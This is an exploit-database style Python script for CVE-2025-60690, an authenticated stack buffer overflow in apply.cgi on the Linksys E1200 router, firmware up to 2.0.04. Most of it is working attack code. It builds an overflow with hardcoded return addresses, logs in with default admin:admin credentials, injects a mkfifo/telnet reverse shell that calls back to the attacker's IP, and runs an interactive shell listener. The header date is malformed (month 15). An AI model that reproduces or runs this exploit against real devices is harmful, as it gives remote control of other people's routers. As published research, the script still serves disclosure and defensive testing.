# Exploit Title: Linksys E1200 2.0.04 - Authenticated Stack Buffer Overflow (RCE) # Date: 2026-15-03 # Exploit Author: JarrettgxzSec # Vendor Homepage: www.linksys.com # Version: FW <= v2.0.04 # Tested on: v2.0.02 & v2.0.04, directly connected to the LAN # CVE: CVE-2025-60690 # Github repository: https://github.com/Jarrettgohxz/CVE-research/tree/main/Linksys/E1200-V2/CVE-2025-60690 import sys import socket import threading import time from urllib.parse import quote print('[!] Please refer to the README (comments at the top of this script) to understand the affected firmware versions for CVE-2025-60690, and for which this exploit script will work on\n') if len(sys.argv) != 3: print(f"[!] Usage: python3 {sys.argv[0]} ") print(f"[!] Example: python3 {sys.argv[0]} 192.168.1.100 192.168.1.1\n") sys.exit(1) TARGET_IP = sys.argv[2] TARGET_PORT = 80 ATTACKER_IP = sys.argv[1] SHELL_PORT = 8888 def start_shell_listener(): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(('0.0.0.0', SHELL_PORT)) print(f"[*] Listening for shell on port {SHELL_PORT}...") s.listen(1) conn, addr = s.accept() print(f"[+] Connection received from {addr[0]}") # allows interactive interaction conn.setblocking(True) conn.settimeout(0.5) while True: # send command to the router cmd = input("# ") conn.send((cmd + "\n").encode()) # receive output from the router try: while True: # keep reading until the device stops sending chunk = conn.recv(4096).decode(errors='ignore') if not chunk: print("\n[!] Connection closed by target.") return print(chunk, end="", flush=True) # timeout decided by the conn.settimeout() method previously except socket.timeout: # this is expected when the device is done sending text pass def execute_exploit(): print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...") # Construct the shell payload payload = "rm /tmp/f \n" payload += "mkfifo /tmp/f \n" payload += "killall httpd && httpd \n" payload += f"cat /tmp/f | /bin/sh 2>&1 | telnet {ATTACKER_IP} {SHELL_PORT} > /tmp/f" payload = quote(f" {payload}") # Construct the exploit payload data = b"action=Apply&lan_netmask=&lan_ipaddr=4&lan_ipaddr_0=x&lan_ipaddr_1=x&lan_ipaddr_2=x&lan_ipaddr_3=" data += b"A"*74 + b"\xa0\x1e\xd6\x2a" + b"A"*24 + b"\x44\xa0\xd6\x2a" + b"A"*72 + b"\xfc\xd8\xd4\x2a" + b"A"*28 data += payload.encode() # Construct the raw HTTP POST body content_length = len(data) http_req = f"POST /apply.cgi HTTP/1.1\r\n" http_req += f"Host: {TARGET_IP}\r\n" http_req += "Content-Type: application/x-www-form-urlencoded\r\n" http_req += "Authorization: Basic YWRtaW46YWRtaW4=\r\n" http_req += f"Content-Length: {content_length}\r\n" http_req += "\r\n" http_req = http_req.encode() + data try: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.settimeout(10) s.connect((TARGET_IP, TARGET_PORT)) s.sendall(http_req) except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # start the shell listener in the background listener_thread = threading.Thread(target=start_shell_listener) listener_thread.daemon = True listener_thread.start() # short sleep to ensure the listener is bound and ready time.sleep(1) # execute the exploit function execute_exploit() # keep main thread alive to interact with the shell while listener_thread.is_alive(): time.sleep(1)